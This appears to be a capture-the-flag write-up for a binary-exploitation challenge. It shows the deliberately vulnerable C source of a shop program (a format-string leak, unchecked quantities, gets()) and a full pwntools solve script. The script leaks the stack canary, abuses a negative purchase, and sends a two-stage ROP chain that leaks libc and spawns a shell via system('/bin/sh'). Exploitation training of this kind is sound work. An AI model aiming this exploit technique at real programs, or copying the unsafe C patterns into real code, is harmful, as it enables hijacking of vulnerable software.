#rop
# Understanding the Challenge
We were given source and compile options
## Compile Options
`gcc vuln.c -no-pie -o vuln`
We have a canary, but no PIE
## Source
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <stdint.h>
#include <stdbool.h>
#define MAX_ITEMS 10
//gcc vuln.c -no-pie -o vuln
__attribute__((constructor)) void ignore_me(){
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
int wallet = 0x1337;
uint32_t item_count = 1;
bool owns_special = false;
struct item {
uint32_t id;
char name[0x8];
uint32_t price;
};
struct item items[10];
void init_shop() {
srand(time(NULL));
items[0].id = 0;
items[0].price = 999999;
strcpy(items[0].name,"special");
while (item_count < 5) {
items[item_count].id = item_count;
items[item_count].price = rand() % 999;
for (int j = 0; j < 6; j++) {
items[item_count].name[j] = 'A' + (rand() % 26);
}
item_count ++;
}
}
int get_num() {
char buf[0x20];
if (fgets(buf, sizeof(buf), stdin) == NULL) {
exit(-1);
}
return atoi(buf);
}
void view_items() {
for (int i = 0; i < item_count; i++) {
printf("%d: %s\t\t%d\n",items[i].id, items[i].name, items[i].price);
}
}
void buy_items() {
int choice;
int num;
view_items();
puts("Which item do you want to buy?");
choice = get_num();
puts("How many of this item do you want to buy?");
num = get_num();
if (wallet < items[choice].price) {
puts("You dont have enough money to make this purchase.");
return;
}
if (choice == 0) {
owns_special = true;
}
wallet -= num * items[choice].price;
printf("Congratulations you bought %d %s's.\n",num,items[choice].name);
}
void add_item() {
if (item_count >= 10) {
puts("You have reached the max amount of items to add.");
return;
}
items[item_count].id = item_count;
puts("What is your item called?");
fgets(items[item_count].name,0x8,stdin);
puts("How much do you want to charge for your item?");
items[item_count].price = get_num();
while(items[item_count].price > 1000) {
puts("We dont support such expensive sales, lower your prices!");
items[item_count].price = get_num();
}
}
void use_special_item() {
char buf[0x28];
if (owns_special == false) {
puts("You can't use what you don't own");
return;
}
puts("The special item gives you a stack buffer overflow!");
gets(buf);
}
void print_shop_menu() {
printf("Your current available funds: %d\n\n", wallet);
puts("+=========:[ Menu ]:========+");
puts("| [1] View items for sale |");
puts("| [2] Buy items |");
puts("| [3] Put up items for sale |");
puts("| [4] Use special item |");
puts("| [5] Exit Shop |");
puts("+===========================+");
printf("\n > ");
}
void main() {
uint32_t choice;
char name[0x5];
init_shop();
puts("Please enter your name to enter our shop:");
fgets(name,sizeof(name),stdin);
printf("We hope you enjoy our shop ");
printf(name);
while(1) {
puts("\n\nWelcome to my shop!\nYou can see my offers below.\n");
print_shop_menu();
choice = get_num();
switch(choice) {
case(1):
view_items();
break;
case(2):
buy_items();
break;
case(3):
add_item();
break;
case(4):
use_special_item();
break;
case(5):
exit(1);
default:
puts("Invalid Option.");
}
}
}
```
# The Vuln
## Format Strings Bug
We can abuse a FSB in the main function.
```c
char name[0x5];
...
puts("Please enter your name to enter our shop:");
fgets(name,sizeof(name),stdin);
printf("We hope you enjoy our shop ");
printf(name);
```
We only have 5 bytes to work with so not enough to exploit the binary with just FSB. We need another vuln.
## Buffer Overflow
The function `use_special_item` has a `gets` we can exploit.
```c
void use_special_item() {
char buf[0x28];
if (owns_special == false) {
puts("You can't use what you don't own");
return;
}
puts("The special item gives you a stack buffer overflow!");
gets(buf);
}
```
To reach this buffer overflow we need to mae `owns_special` true.
HLIL of buy_items:
```python
int64_t buy_items()
int32_t index {Register rax}
int32_t num {Register rax}
int64_t rax_7 {Register rax}
uint64_t rcx_2 {Register rcx}
view_items()
puts(str: "Which item do you want to buy?")
int32_t index = get_num()
puts(str: "How many of this item do you want to buy?")
int32_t num = get_num()
int64_t rax_7
if (items[sx.q(index)].price u> wallet)
rax_7 = puts(str: "You dont have enough money to make this purchase.")
else
if (index == 0)
owns_special = 1
uint64_t rcx_2 = zx.q(wallet - num * items[sx.q(index)].price)
wallet = rcx_2.d
rax_7 = printf(format: "Congratulations you bought %d %s's.\n", zx.q(num), &items[sx.q(index)].name, rcx_2)
return rax_7
```
There isn't any bounds checks for the index so we can specify a negative index.
We could use this to find an "item" in memory before the actual items array. However there is an easier solution.
We can also supply a negative number for how many items we want to buy. This will instead of subtracting money from the wallet, add money.
# The Exploit
## The Leak
Abusing the FSB, we can leak the canary.
The code below finds the canary is the 9th qword on the stack.
```python
from pwn import *
context.binary = elf = ELF("./vuln")
for x in range(30):
io = elf.process()
gdb.attach(io,"canary\nc")
print(x)
leak_payload = f"%{x}$p"
io.send(leak_payload)
io.interactive()
```
## Reaching the `gets`
As mentioned earlier we can buy negative numbers which will not cost us any money but give us money.
Buy the first item `-100000` times and we have enough money to buy the special item and give us a vulnerable `gets`
## Ropchain
Ropchain needs to have:
- canary
- junk for `rbp`
- first gadget <- overwriting `saved_rip`
- ret <- movaps issue
- pop rdi
- puts_GOT
- puts <- calls puts(puts_GOT) to give use lib leak
- main <- allow us to exploit again now know libc
Second Stage Payload:
- canary
- junk for `rbp`
- first gadget <- overwriting `saved_rip`
- ret <- movaps issue
- pop rdi
- /bin/sh
- system <- calls system("/bin/sh")
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
libc = elf.libc
io = elf.process()
#gdb.attach(io,"b*0x4016c1")
leak_payload = f"%9$p"
io.send(leak_payload)
io.readuntil(b"We hope you enjoy our shop ")
canary = int(io.readline().strip(),16)
print("Canary:",hex(canary))
def buy(item,num):
io.sendline("2")
io.sendline(item)
io.sendline(num)
def use_item(payload):
io.sendline("4")
io.sendline(payload)
buy("1","-100000")
buy("0","1")
pop_rdi = 0x4018b3
ret = pop_rdi+1
puts = 0x4010d0
payload = b""
payload += b"A"*0x28
payload += p64(canary)
payload += b"C"*8
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(puts)
payload += p64(elf.symbols['main'])
use_item(payload)
io.readuntil("The special item gives you a stack buffer overflow!\n")
libc_leak = u64(io.readline().strip().ljust(8,b"\x00"))
libc.address = libc_leak - libc.symbols['puts']
print("Libc:",hex(libc.address))
payload2 = b""
payload2 += b"A"*0x28
payload2 += p64(canary)
payload2 += b"A"*8
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b"/bin/sh")))
payload2 += p64(libc.symbols['system'])
io.clean()
io.sendline("hi")
use_item(payload2)
io.interactive()
```